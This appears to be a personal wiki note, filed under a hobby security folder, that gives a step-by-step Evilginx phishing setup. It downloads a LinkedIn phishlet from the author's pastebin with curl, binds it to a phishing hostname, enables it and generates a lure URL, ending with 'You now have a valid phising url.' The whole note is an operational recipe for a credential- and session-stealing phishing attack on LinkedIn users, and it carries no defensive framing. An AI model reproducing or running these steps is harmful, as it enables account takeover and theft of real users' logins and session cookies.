Files
quartz/content/20-29 HOBBYS/23 SECURITY/23.11 EVILGINX/phish setup.md
Quartz Syncer 30dd2ec6c1
All checks were successful
Build and Deploy Quartz / build (push) Successful in 20s
Published multiple files
2026-01-20 13:38:56 -07:00

1.2 KiB

publish, title, created, modified, tags, cssclasses
publish title created modified tags cssclasses
true Basic Phish Setup 2026-01-10T15:29:29.395-07:00 2025-06-27T14:25:27.036-06:00
evilginx
guide
phishing

Note

As previously discussed the community edition of Evilginx has been kneecapped so the quickstart example in their documentation will not work. This guide will give a rough approximation of that tutorial

  1. Install curl
apt install curl
  1. Create the LinkedIn phishlet. This downloads a copy of a phishlet for my pastebin to replace the one the Evilginx team removed
curl -o ~/evilginx/phishlets/linkedin.yaml https://snippets.thesatelliteoflove.com/api/public/snippets/1/1/raw
  1. Connect to your Evilginx tmux session and launch Evilginx
tmux new-session -A -s evilginx
~/evilginx/evilginx
  1. Assign a hostname to the LinkedIn phishlet
phishlets hostname linkedin demo.philsphishpharm.click
  1. Enable your phishlet
phishlets enable linkedin
  1. Create a lure (link) for your phishlet. Once created the second command will return the link (assuming this is your first lure)
lures create linkedin
lures get-url 0

You now have a valid phising url. Good job!